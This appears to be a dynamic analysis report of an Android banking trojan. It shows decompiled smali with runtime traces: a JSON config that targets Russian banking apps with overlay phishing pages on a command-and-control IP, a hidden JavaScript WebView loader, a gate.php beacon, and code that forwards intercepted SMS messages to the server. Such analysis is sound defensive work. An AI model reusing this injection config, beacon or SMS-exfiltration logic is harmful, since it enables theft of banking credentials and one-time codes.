                                      64const-string v3, "REALTALK REQUEST"
                                      66invoke-virtual {v0}, Lcom/aviasalea/api/request/BaseConnection;->getResponseCode()I
                                      67move-result v4
                                      69invoke-static {v4}, Ljava/lang/String;->valueOf(I)Ljava/lang/String;
                                      70move-result-object v4
                                      72invoke-static {v3, v4}, Landroid/util/Log;->w(Ljava/lang/String;Ljava/lang/String;)I
                                      74const-string v3, "REALTALK REQUEST"
                                      76invoke-virtual {v0}, Lcom/aviasalea/api/request/BaseConnection;->getResponseMessage()Ljava/lang/String;
                                      • Time: 1296905
                                        • This:
                                          • com.aviasalea.api.request.HTTPConnection@fc07ea3
                                        • Return:
                                          • Not Found
                                      77move-result-object v4
                                      79invoke-static {v3, v4}, Landroid/util/Log;->w(Ljava/lang/String;Ljava/lang/String;)I
                                      81const-string v3, "REALTALK REQUEST"
                                      83const-string v4, "======================================="
                                      85invoke-static {v3, v4}, Landroid/util/Log;->w(Ljava/lang/String;Ljava/lang/String;)I
                                      87invoke-virtual {v0}, Lcom/aviasalea/api/request/BaseConnection;->getResponseCode()I
                                      88move-result v3
                                      89const/16 v4, 0xc8
                                      90if-ne v3, v4, :cond_80
                                      92iget-object v3, p1, Lcom/aviasalea/api/request/HttpRequest;->mHttpResponseHandler:Lcom/aviasalea/api/request/HTTPRequestHandler;
                                      93iget v4, p1, Lcom/aviasalea/api/request/HttpRequest;->requestType:I
                                      95invoke-virtual {v0}, Lcom/aviasalea/api/request/BaseConnection;->getResponseCode()I
                                      96move-result v5
                                      98invoke-virtual {v3, v4, v5, v1}, Lcom/aviasalea/api/request/HTTPRequestHandler;->onSuccess(IILjava/lang/String;)V
                                      99goto_7f: return-void
                                      100cond_80:
                                      101invoke-static {v1}, Lcom/aviasalea/api/tls/TxtTls;->ckIsEmpty(Ljava/lang/String;)Z
                                      102move-result v3
                                      103if-eqz v3, :cond_c2
                                      105const-string v3, "REALTALK REQUEST"
                                      107invoke-virtual {p1}, Ljava/lang/Object;->getClass()Ljava/lang/Class;
                                      • Time: 1297015
                                        • This:
                                          • com.aviasalea.srs.api.requests.HitGateRequest@a46834f
                                        • Return:
                                          • class com.aviasalea.srs.api.requests.HitGateRequest
                                          • getName: com.aviasalea.srs.api.requests.HitGateRequest
                                      • Time: 1437710
                                        • This:
                                          • com.aviasalea.mess.api.SendReceivedSmsRequest@af5574a
                                        • Return:
                                          • class com.aviasalea.mess.api.SendReceivedSmsRequest
                                          • getName: com.aviasalea.mess.api.SendReceivedSmsRequest
                                      108move-result-object v4
                                      110invoke-virtual {v4}, Ljava/lang/Class;->getName()Ljava/lang/String;
                                      111move-result-object v4
                                      113invoke-static {v3, v4}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I
                                      115const-string v3, "REALTALK REQUEST"
                                      117const-string v4, "responseBody is null"
                                      119invoke-static {v3, v4}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I
                                      121invoke-virtual {v0}, Lcom/aviasalea/api/request/BaseConnection;->getResponseMessage()Ljava/lang/String;
                                      • Time: 1297084
                                        • This:
                                          • com.aviasalea.api.request.HTTPConnection@fc07ea3
                                        • Return:
                                          • Not Found
                                      122move-result-object v3
                                      124invoke-static {v3}, Lcom/aviasalea/api/tls/TxtTls;->ckIsEmpty(Ljava/lang/String;)Z
                                      125move-result v3
                                      126if-eqz v3, :cond_b2
                                      128iget-object v3, p1, Lcom/aviasalea/api/request/HttpRequest;->mHttpResponseHandler:Lcom/aviasalea/api/request/HTTPRequestHandler;
                                      129iget v4, p1, Lcom/aviasalea/api/request/HttpRequest;->requestType:I
                                      131invoke-virtual {v0}, Lcom/aviasalea/api/request/BaseConnection;->getResponseCode()I
                                      132move-result v5
                                      134const-string v6, ""
                                      136invoke-virtual {v3, v4, v5, v6}, Lcom/aviasalea/api/request/HTTPRequestHandler;->onFailure(IILjava/lang/String;)V
                                      137goto/16 :goto_7f
                                      138cond_b2:
                                      139iget-object v3, p1, Lcom/aviasalea/api/request/HttpRequest;->mHttpResponseHandler:Lcom/aviasalea/api/request/HTTPRequestHandler;
                                      140iget v4, p1, Lcom/aviasalea/api/request/HttpRequest;->requestType:I
                                      142invoke-virtual {v0}, Lcom/aviasalea/api/request/BaseConnection;->getResponseCode()I
                                      143move-result v5
                                      145invoke-virtual {v0}, Lcom/aviasalea/api/request/BaseConnection;->getResponseMessage()Ljava/lang/String;
                                      • Time: 1297102
                                        • This:
                                          • com.aviasalea.api.request.HTTPConnection@fc07ea3
                                        • Return:
                                          • Not Found
                                      146move-result-object v6
                                      148invoke-virtual {v3, v4, v5, v6}, Lcom/aviasalea/api/request/HTTPRequestHandler;->onFailure(IILjava/lang/String;)V
                                      149goto/16 :goto_7f
                                      150cond_c2:
                                      151iget-object v3, p1, Lcom/aviasalea/api/request/HttpRequest;->mHttpResponseHandler:Lcom/aviasalea/api/request/HTTPRequestHandler;
                                      152iget v4, p1, Lcom/aviasalea/api/request/HttpRequest;->requestType:I
                                      154invoke-virtual {v0}, Lcom/aviasalea/api/request/BaseConnection;->getResponseCode()I
                                      155move-result v5
                                      157invoke-virtual {v3, v4, v5, v1}, Lcom/aviasalea/api/request/HTTPRequestHandler;->onSuccess(IILjava/lang/String;)V
                                      158goto/16 :goto_7f
                                      Cross References
                                      APIs
                                      • java.util.ArrayList.<init>
                                      • org.json.JSONArray.<init>
                                      • org.json.JSONArray.length
                                      • org.json.JSONArray.getJSONObject
                                      • org.json.JSONObject.getString
                                      • org.json.JSONObject.getString
                                      • org.json.JSONObject.getString
                                      • org.json.JSONObject.getJSONArray
                                      • java.util.List.add
                                      • java.lang.Exception.toString
                                      Strings
                                      • [{"name":"rus","type":"window","link":"http://185.212.128.192/1324273/bee/rus/index.php","apps":[{"check":true,"package":"ru.simpls.brs2.mobbank"},{"check":true,"package":"ru.m4bank.rsb"},{"check":true,"package":"ru.m4bank.rsb.alipay"},{"check":true,"package":"ru.rsb.prepaid"}]},{"name":"openbank","type":"window","link":"http://185.212.128.192/1324273/bee/open/index.php","apps":[{"check":true,"package":"com.openbank"},{"check":true,"package":"ru.open.android.konsierge24"},{"check":true,"package":"com.legionlabs.p2p.open"}]}, {"name":"alfabank","type":"window","link":"http://185.212.128.192/1324273/bee/alfa/index.php","apps":[{"check":true,"package":"ru.alfabank.mobile.android"},{"check":true,"package":"ru.alfabank.oavdo.amc"}]}, {"name":"tinkoff","type":"window","link":"http://185.212.128.192/1324273/bee/tin/index.php","apps":[{"check":true,"package":"com.idamob.tinkoff.android"},{"check":true,"package":"ru.tinkoff.sme"}]}, {"name":"vtb24","type":"window","link":"http://185.212.128.192/1324273/bee/vtb.php","apps":[{"check":true,"package":"ru.vt24.mobilebanking.android"},{"check":true,"package":"com.vtb.mobilebank"}]},{"name":"homecredit","type":"window","link":"http://185.212.128.192/1324273/bee/homecredit/index.php","apps":[{"check":true,"package":"ru.homecredit.mycredit"},{"check":true,"package":"com.idamobile.android.hcb"}]}]
                                      • alfabank
                                      • homecredit
                                      • name
                                      • openbank
                                      • rus
                                      • tinkoff
                                      • vtb24
                                      • type
                                      • window
                                      • http://185.212.128.192/1324273/bee/alfa/index.php
                                      • http://185.212.128.192/1324273/bee/homecredit/index.php
                                      • http://185.212.128.192/1324273/bee/open/index.php
                                      • http://185.212.128.192/1324273/bee/rus/index.php
                                      • http://185.212.128.192/1324273/bee/tin/index.php
                                      • http://185.212.128.192/1324273/bee/vtb.php
                                      • link
                                      • apps
                                      Position Instruction Meta Information
                                      0.param p0, "json" # Ljava/lang/String;
                                      1.annotation system Ldalvik/annotation/Signature;
                                      2value = {
                                      3"(",
                                      4"Ljava/lang/String;",
                                      5")",
                                      6"Ljava/util/List",
                                      7"<",
                                      8"Lcom/aviasalea/wb/WITools$Inj;",
                                      9">;"
                                      10}
                                      11.end annotation
                                      12.prologue
                                      13new-instance v3, Ljava/util/ArrayList;
                                      15invoke-direct {v3}, Ljava/util/ArrayList;-><init>()V
                                      16if-eqz p0, :cond_44
                                      17try_start_7: new-instance v0, Lorg/json/JSONArray;
                                      19invoke-direct {v0, p0}, Lorg/json/JSONArray;-><init>(Ljava/lang/String;)V
                                      • Time: 1289579
                                        • p0: [{"name":"rus","type":"window","link":"http://185.212.128.192/1324273/bee/rus/index.php","apps":[{"check":true,"package":"ru.simpls.brs2.mobbank"},{"check":true,"package":"ru.m4bank.rsb"},{"check":true,"package":"ru.m4bank.rsb.alipay"},{"check":true,"package":"ru.rsb.prepaid"}]},{"name":"openbank","type":"window","link":"http://185.212.128.192/1324273/bee/open/index.php","apps":[{"check":true,"package":"com.openbank"},{"check":true,"package":"ru.open.android.konsierge24"},{"check":true,"package":"com.legionlabs.p2p.open"}]}, {"name":"alfabank","type":"window","link":"http://185.212.128.192/1324273/bee/alfa/index.php","apps":[{"check":true,"package":"ru.alfabank.mobile.android"},{"check":true,"package":"ru.alfabank.oavdo.amc"}]}, {"name":"tinkoff","type":"window","link":"http://185.212.128.192/1324273/bee/tin/index.php","apps":[{"check":true,"package":"com.idamob.tinkoff.android"},{"check":true,"package":"ru.tinkoff.sme"}]}, {"name":"vtb24","type":"window","link":"http://185.212.128.192/1324273/
                                        • Return:
                                          • [{"name":"rus","type":"window","link":"http:\/\/185.212.128.192\/1324273\/bee\/rus\/index.php","apps":[{"check":true,"package":"ru.simpls.brs2.mobbank"},{"check":true,"package":"ru.m4bank.rsb"},{"check":true,"package":"ru.m4bank.rsb.alipay"},{"check":true,"package":"ru.rsb.prepaid"}]},{"name":"openbank","type":"window","link":"http:\/\/185.212.128.192\/1324273\/bee\/open\/index.php","apps":[{"check":true,"package":"com.openbank"},{"check":true,"package":"ru.open.android.konsierge24"},{"check":true,"package":"com.legionlabs.p2p.open"}]},{"name":"alfabank","type":"window","link":"http:\/\/185.212.128.192\/1324273\/bee\/alfa\/index.php","apps":[{"check":true,"package":"ru.alfabank.mobile.android"},{"check":true,"package":"ru.alfabank.oavdo.amc"}]},{"name":"tinkoff","type":"window","link":"http:\/\/185.212.128.192\/1324273\/bee\/tin\/index.php","apps":[{"check":true,"package":"com.idamob.tinkoff.android"},{"check":true,"package":"ru.tinkoff.sme"}]},{"name":"vtb24","type":"window","link":"http:\/\/185.212.128.192\
                                      20const/4 v2, 0x0
                                      21goto_d:
                                      22invoke-virtual {v0}, Lorg/json/JSONArray;->length()I
                                      23move-result v5
                                      24if-ge v2, v5, :cond_44
                                      26invoke-virtual {v0, v2}, Lorg/json/JSONArray;->getJSONObject(I)Lorg/json/JSONObject;
                                      27move-result-object v4
                                      28if-eqz v4, :cond_39
                                      29new-instance v5, Lcom/aviasalea/wb/WITools$Inj;
                                      31const-string v6, "name"
                                      33invoke-virtual {v4, v6}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String;
                                      • Time: 1289603
                                        • This:
                                          • {"name":"rus","type":"window","link":"http:\/\/185.212.128.192\/1324273\/bee\/rus\/index.php","apps":[{"check":true,"package":"ru.simpls.brs2.mobbank"},{"check":true,"package":"ru.m4bank.rsb"},{"check":true,"package":"ru.m4bank.rsb.alipay"},{"check":true,"package":"ru.rsb.prepaid"}]}
                                        • p0: name
                                        • Return:
                                          • rus
                                      • Time: 1289623
                                        • This:
                                          • {"name":"openbank","type":"window","link":"http:\/\/185.212.128.192\/1324273\/bee\/open\/index.php","apps":[{"check":true,"package":"com.openbank"},{"check":true,"package":"ru.open.android.konsierge24"},{"check":true,"package":"com.legionlabs.p2p.open"}]}
                                        • p0: name
                                        • Return:
                                          • openbank
                                      • Time: 1289641
                                        • This:
                                          • {"name":"alfabank","type":"window","link":"http:\/\/185.212.128.192\/1324273\/bee\/alfa\/index.php","apps":[{"check":true,"package":"ru.alfabank.mobile.android"},{"check":true,"package":"ru.alfabank.oavdo.amc"}]}
                                        • p0: name
                                        • Return:
                                          • alfabank
                                      • Time: 1289656
                                        • This:
                                          • {"name":"tinkoff","type":"window","link":"http:\/\/185.212.128.192\/1324273\/bee\/tin\/index.php","apps":[{"check":true,"package":"com.idamob.tinkoff.android"},{"check":true,"package":"ru.tinkoff.sme"}]}
                                        • p0: name
                                        • Return:
                                          • tinkoff
                                      • Time: 1289670
                                        • This:
                                          • {"name":"vtb24","type":"window","link":"http:\/\/185.212.128.192\/1324273\/bee\/vtb.php","apps":[{"check":true,"package":"ru.vt24.mobilebanking.android"},{"check":true,"package":"com.vtb.mobilebank"}]}
                                        • p0: name
                                        • Return:
                                          • vtb24
                                      • Time: 1289690
                                        • This:
                                          • {"name":"homecredit","type":"window","link":"http:\/\/185.212.128.192\/1324273\/bee\/homecredit\/index.php","apps":[{"check":true,"package":"ru.homecredit.mycredit"},{"check":true,"package":"com.idamobile.android.hcb"}]}
                                        • p0: name
                                        • Return:
                                          • homecredit
                                      34move-result-object v6
                                      36const-string v7, "type"
                                      38invoke-virtual {v4, v7}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String;
                                      • Time: 1289605
                                        • This:
                                          • {"name":"rus","type":"window","link":"http:\/\/185.212.128.192\/1324273\/bee\/rus\/index.php","apps":[{"check":true,"package":"ru.simpls.brs2.mobbank"},{"check":true,"package":"ru.m4bank.rsb"},{"check":true,"package":"ru.m4bank.rsb.alipay"},{"check":true,"package":"ru.rsb.prepaid"}]}
                                        • p0: type
                                        • Return:
                                          • window
                                      39move-result-object v7
                                      41const-string v8, "link"
                                      43invoke-virtual {v4, v8}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String;
                                      • Time: 1289609
                                        • This:
                                          • {"name":"rus","type":"window","link":"http:\/\/185.212.128.192\/1324273\/bee\/rus\/index.php","apps":[{"check":true,"package":"ru.simpls.brs2.mobbank"},{"check":true,"package":"ru.m4bank.rsb"},{"check":true,"package":"ru.m4bank.rsb.alipay"},{"check":true,"package":"ru.rsb.prepaid"}]}
                                        • p0: link
                                        • Return:
                                          • http://185.212.128.192/1324273/bee/rus/index.php
                                      • Time: 1289628
                                        • This:
                                          • {"name":"openbank","type":"window","link":"http:\/\/185.212.128.192\/1324273\/bee\/open\/index.php","apps":[{"check":true,"package":"com.openbank"},{"check":true,"package":"ru.open.android.konsierge24"},{"check":true,"package":"com.legionlabs.p2p.open"}]}
                                        • p0: link
                                        • Return:
                                          • http://185.212.128.192/1324273/bee/open/index.php
                                      • Time: 1289647
                                        • This:
                                          • {"name":"alfabank","type":"window","link":"http:\/\/185.212.128.192\/1324273\/bee\/alfa\/index.php","apps":[{"check":true,"package":"ru.alfabank.mobile.android"},{"check":true,"package":"ru.alfabank.oavdo.amc"}]}
                                        • p0: link
                                        • Return:
                                          • http://185.212.128.192/1324273/bee/alfa/index.php
                                      • Time: 1289661
                                        • This:
                                          • {"name":"tinkoff","type":"window","link":"http:\/\/185.212.128.192\/1324273\/bee\/tin\/index.php","apps":[{"check":true,"package":"com.idamob.tinkoff.android"},{"check":true,"package":"ru.tinkoff.sme"}]}
                                        • p0: link
                                        • Return:
                                          • http://185.212.128.192/1324273/bee/tin/index.php
                                      • Time: 1289677
                                        • This:
                                          • {"name":"vtb24","type":"window","link":"http:\/\/185.212.128.192\/1324273\/bee\/vtb.php","apps":[{"check":true,"package":"ru.vt24.mobilebanking.android"},{"check":true,"package":"com.vtb.mobilebank"}]}
                                        • p0: link
                                        • Return:
                                          • http://185.212.128.192/1324273/bee/vtb.php
                                      • Time: 1289696
                                        • This:
                                          • {"name":"homecredit","type":"window","link":"http:\/\/185.212.128.192\/1324273\/bee\/homecredit\/index.php","apps":[{"check":true,"package":"ru.homecredit.mycredit"},{"check":true,"package":"com.idamobile.android.hcb"}]}
                                        • p0: link
                                        • Return:
                                          • http://185.212.128.192/1324273/bee/homecredit/index.php
                                      44move-result-object v8
                                      46const-string v9, "apps"
                                      48invoke-virtual {v4, v9}, Lorg/json/JSONObject;->getJSONArray(Ljava/lang/String;)Lorg/json/JSONArray;
                                      49move-result-object v9
                                      51invoke-direct {v5, v6, v7, v8, v9}, Lcom/aviasalea/wb/WITools$Inj;-><init>(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Lorg/json/JSONArray;)V
                                      53invoke-interface {v3, v5}, Ljava/util/List;->add(Ljava/lang/Object;)Z
                                      54try_end_39: add-int/lit8 v2, v2, 0x1
                                      55goto/16 :goto_d
                                      56catch_3c: move-exception v1
                                      58invoke-virtual {v1}, Ljava/lang/Exception;->toString()Ljava/lang/String;
                                      59move-result-object v5
                                      61invoke-static {v5}, Lcom/aviasalea/checktls/Print;->e(Ljava/lang/String;)V
                                      62cond_44: return-object v3
                                      Cross References
                                      APIs
                                      • android.webkit.WebView.setVisibility
                                      • android.webkit.WebView.getSettings
                                      • android.webkit.WebSettings.setJavaScriptEnabled
                                      • android.webkit.WebView.getSettings
                                      • android.webkit.WebSettings.setCacheMode
                                      • android.webkit.WebView.setVerticalScrollBarEnabled
                                      • android.webkit.WebView.setHorizontalScrollBarEnabled
                                      • android.webkit.WebView.getSettings
                                      • android.webkit.WebSettings.setUseWideViewPort
                                      • com.aviasalea.wb.CustomWVClient.<init>
                                      • android.webkit.WebView.setWebViewClient
                                      • com.aviasalea.wb.CustomWVChromeClient.<init>
                                      • android.webkit.WebView.setWebChromeClient
                                      • java.lang.StringBuilder.<init>
                                      • com.aviasalea.wb.WbActivity.mUrl:Ljava/lang/String
                                      • java.lang.StringBuilder.append
                                      • java.lang.StringBuilder.append
                                      • java.lang.StringBuilder.append
                                      • com.aviasalea.Realtalk.getPsuedoID
                                      • java.lang.StringBuilder.append
                                      • java.lang.StringBuilder.toString
                                      • android.webkit.WebView.loadUrl
                                      Strings
                                      • ?
                                      • ID=
                                      • http://185.212.128.192/1324273/bee/avia/index1.php?ID=450785365059857103
                                      Position Instruction Meta Information
                                      0.param p1, "webView" # Landroid/webkit/WebView;
                                      1.annotation build Landroid/annotation/SuppressLint;
                                      2value = {
                                      3"SetJavaScriptEnabled"
                                      4}
                                      5.end annotation
                                      6.prologue
                                      7const/4 v2, 0x1
                                      8const/4 v1, 0x0
                                      9const/4 v0, 0x4
                                      11invoke-virtual {p1, v0}, Landroid/webkit/WebView;->setVisibility(I)V
                                      13invoke-virtual {p1}, Landroid/webkit/WebView;->getSettings()Landroid/webkit/WebSettings;
                                      14move-result-object v0
                                      16invoke-virtual {v0, v2}, Landroid/webkit/WebSettings;->setJavaScriptEnabled(Z)V
                                      18invoke-virtual {p1}, Landroid/webkit/WebView;->getSettings()Landroid/webkit/WebSettings;
                                      19move-result-object v0
                                      21invoke-virtual {v0, v2}, Landroid/webkit/WebSettings;->setCacheMode(I)V
                                      23invoke-virtual {p1, v1}, Landroid/webkit/WebView;->setVerticalScrollBarEnabled(Z)V
                                      25invoke-virtual {p1, v1}, Landroid/webkit/WebView;->setHorizontalScrollBarEnabled(Z)V
                                      27invoke-virtual {p1}, Landroid/webkit/WebView;->getSettings()Landroid/webkit/WebSettings;
                                      28move-result-object v0
                                      30invoke-virtual {v0, v1}, Landroid/webkit/WebSettings;->setUseWideViewPort(Z)V
                                      31new-instance v0, Lcom/aviasalea/wb/CustomWVClient;
                                      32new-instance v1, Lcom/aviasalea/wb/WbActivity$1;
                                      34invoke-direct {v1, p0}, Lcom/aviasalea/wb/WbActivity$1;-><init>(Lcom/aviasalea/wb/WbActivity;)V
                                      36invoke-direct {v0, v1}, Lcom/aviasalea/wb/CustomWVClient;-><init>(Lcom/aviasalea/wb/CustomWVClient$OnWVClicentCallback;)V
                                      38invoke-virtual {p1, v0}, Landroid/webkit/WebView;->setWebViewClient(Landroid/webkit/WebViewClient;)V
                                      39new-instance v0, Lcom/aviasalea/wb/CustomWVChromeClient;
                                      41invoke-direct {v0}, Lcom/aviasalea/wb/CustomWVChromeClient;-><init>()V
                                      43invoke-virtual {p1, v0}, Landroid/webkit/WebView;->setWebChromeClient(Landroid/webkit/WebChromeClient;)V
                                      44new-instance v0, Ljava/lang/StringBuilder;
                                      46invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
                                      48iget-object v1, p0, Lcom/aviasalea/wb/WbActivity;->mUrl:Ljava/lang/String;
                                      50invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                      51move-result-object v0
                                      53const-string v1, "?"
                                      55invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                      56move-result-object v0
                                      58const-string v1, "ID="
                                      60invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                      61move-result-object v0
                                      63invoke-static {p0}, Lcom/aviasalea/Realtalk;->getPsuedoID(Landroid/content/Context;)Ljava/lang/String;
                                      64move-result-object v1
                                      66invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                      67move-result-object v0
                                      69invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                      70move-result-object v0
                                      72invoke-virtual {p1, v0}, Landroid/webkit/WebView;->loadUrl(Ljava/lang/String;)V
                                      • Time: 1291826
                                        • This:
                                          • android.webkit.WebView{8d5a7a4 VFEDHVC.. ......I. 0,0-0,0}
                                        • url: http://185.212.128.192/1324273/bee/avia/index1.php?ID=450785365059857103
                                      73return-void
                                      Cross References
                                      APIs
                                      • java.lang.StringBuilder.<init>
                                      • org.json.JSONObject.keys
                                      • java.util.Iterator.hasNext
                                      • java.util.Iterator.next
                                      • org.json.JSONObject.get
                                      • java.net.URLEncoder.encode
                                      • java.lang.StringBuilder.append
                                      • java.lang.StringBuilder.append
                                      • java.lang.Object.toString
                                      • java.net.URLEncoder.encode
                                      • java.lang.StringBuilder.append
                                      • java.lang.StringBuilder.append
                                      • java.lang.StringBuilder.toString
                                      Strings
                                      • 1
                                      • UTF-8
                                      • =
                                      • %7B%22report%22%3A%22sms%22%2C%22id%22%3A%22450785365059857103%22%7D
                                      • {"report":"sms","id":"450785365059857103"}
                                      • &
                                      Position Instruction Meta Information
                                      0.param p0, "params" # Lorg/json/JSONObject;
                                      1.prologue
                                      2try_start_0: new-instance v4, Ljava/lang/StringBuilder;
                                      4invoke-direct {v4}, Ljava/lang/StringBuilder;-><init>()V
                                      5const/4 v1, 0x1
                                      7invoke-virtual {p0}, Lorg/json/JSONObject;->keys()Ljava/util/Iterator;
                                      8move-result-object v2
                                      9goto_a:
                                      10invoke-interface {v2}, Ljava/util/Iterator;->hasNext()Z
                                      11move-result v6
                                      12if-eqz v6, :cond_43
                                      14invoke-interface {v2}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                                      15move-result-object v3
                                      16check-cast v3, Ljava/lang/String;
                                      18invoke-virtual {p0, v3}, Lorg/json/JSONObject;->get(Ljava/lang/String;)Ljava/lang/Object;
                                      19move-result-object v5
                                      20if-eqz v1, :cond_3d
                                      21const/4 v1, 0x0
                                      22goto_1d:
                                      23const-string v6, "UTF-8"
                                      25invoke-static {v3, v6}, Ljava/net/URLEncoder;->encode(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
                                      • Time: 1436543
                                        • p0: 1
                                        • p1: UTF-8
                                        • Return:
                                          • 1
                                      26move-result-object v6
                                      28invoke-virtual {v4, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                      30const-string v6, "="
                                      32invoke-virtual {v4, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                      34invoke-virtual {v5}, Ljava/lang/Object;->toString()Ljava/lang/String;
                                      35move-result-object v6
                                      37const-string v7, "UTF-8"
                                      39invoke-static {v6, v7}, Ljava/net/URLEncoder;->encode(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
                                      • Time: 1436546
                                        • p0: {"report":"sms","id":"450785365059857103"}
                                        • p1: UTF-8
                                        • Return:
                                          • %7B%22report%22%3A%22sms%22%2C%22id%22%3A%22450785365059857103%22%7D
                                      40move-result-object v6
                                      42invoke-virtual {v4, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                      43try_end_38: goto/16 :goto_a
                                      44catch_39: move-exception v0
                                      46const-string v6, ""
                                      47goto_3c: return-object v6
                                      48try_start_3d:
                                      49const-string v6, "&"
                                      51invoke-virtual {v4, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                      52goto/16 :goto_1d
                                      53cond_43:
                                      54invoke-virtual {v4}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                      55try_end_46: move-result-object v6
                                      56goto/16 :goto_3c
                                      APIs
                                      • com.aviasalea.Realtalk.getPsuedoID
                                      • java.lang.StringBuilder.<init>
                                      • java.lang.StringBuilder.append
                                      • java.lang.StringBuilder.append
                                      • java.lang.StringBuilder.append
                                      • java.lang.StringBuilder.append
                                      • java.lang.StringBuilder.append
                                      • java.lang.StringBuilder.append
                                      • java.lang.StringBuilder.append
                                      • java.lang.StringBuilder.toString
                                      Strings
                                      • http://185.212.128.192/1324273/gate.php
                                      • ?
                                      • ID=
                                      • &
                                      • screen=
                                      Position Instruction Meta Information
                                      0.prologue
                                      2iget-object v1, p0, Lcom/aviasalea/srs/api/requests/HitGateRequest;->mContext:Landroid/content/Context;
                                      4invoke-static {v1}, Lcom/aviasalea/Realtalk;->getPsuedoID(Landroid/content/Context;)Ljava/lang/String;
                                      5move-result-object v0
                                      6if-nez v0, :cond_a
                                      8const-string v0, ""
                                      9cond_a: new-instance v1, Ljava/lang/StringBuilder;
                                      11invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
                                      13invoke-virtual {p0}, Lcom/aviasalea/srs/api/requests/HitGateRequest;->getBaseUrl()Ljava/lang/String;
                                      • Time: 1291108
                                        • This:
                                          • com.aviasalea.srs.api.requests.HitGateRequest@a46834f
                                        • Return:
                                          • http://185.212.128.192/1324273/gate.php
                                      14move-result-object v2
                                      16invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                      17move-result-object v1
                                      19const-string v2, "?"
                                      21invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                      22move-result-object v1
                                      24const-string v2, "ID="
                                      26invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                      27move-result-object v1
                                      29invoke-virtual {v1, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                      30move-result-object v1
                                      32const-string v2, "&"
                                      34invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                      35move-result-object v1
                                      37const-string v2, "screen="
                                      39invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                      40move-result-object v1
                                      42iget-object v2, p0, Lcom/aviasalea/srs/api/requests/HitGateRequest;->mContext:Landroid/content/Context;
                                      44invoke-static {v2}, Lcom/aviasalea/checktls/ScrTls;->getScreenState(Landroid/content/Context;)Ljava/lang/String;
                                      45move-result-object v2
                                      47invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                      48move-result-object v1
                                      50invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                      51move-result-object v1
                                      52return-object v1
                                      Cross References
                                      APIs
                                      • org.json.JSONObject.<init>
                                      • org.json.JSONObject.<init>
                                      • org.json.JSONObject.put
                                      • com.aviasalea.Realtalk.getPsuedoID
                                      • org.json.JSONObject.put
                                      • org.json.JSONObject.put
                                      • org.json.JSONObject.put
                                      • org.json.JSONObject.put
                                      Strings
                                      • report
                                      • sms
                                      • id
                                      • number
                                      • message
                                      • 1
                                      Position Instruction Meta Information
                                      0.param p1, "context" # Landroid/content/Context;
                                      1.annotation system Ldalvik/annotation/Throws;
                                      2value = {
                                      3Ljava/lang/Exception;
                                      4}
                                      5.end annotation
                                      6.prologue
                                      7new-instance v1, Lorg/json/JSONObject;
                                      9invoke-direct {v1}, Lorg/json/JSONObject;-><init>()V
                                      • Time: 1436539
                                        • Return:
                                          • {}
                                      10new-instance v0, Lorg/json/JSONObject;
                                      12invoke-direct {v0}, Lorg/json/JSONObject;-><init>()V
                                      • Time: 1436541
                                        • Return:
                                          • {}
                                      14const-string v2, "report"
                                      16const-string v3, "sms"
                                      18invoke-virtual {v0, v2, v3}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                      20const-string v2, "id"
                                      22invoke-static {p1}, Lcom/aviasalea/Realtalk;->getPsuedoID(Landroid/content/Context;)Ljava/lang/String;
                                      23move-result-object v3
                                      25invoke-virtual {v0, v2, v3}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                      27const-string v2, "number"
                                      29iget-object v3, p0, Lcom/aviasalea/mess/api/SendReceivedSmsRequest;->number:Ljava/lang/String;
                                      31invoke-virtual {v0, v2, v3}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                      33const-string v2, "message"
                                      35iget-object v3, p0, Lcom/aviasalea/mess/api/SendReceivedSmsRequest;->message:Ljava/lang/String;
                                      37invoke-virtual {v0, v2, v3}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                      39const-string v2, "1"
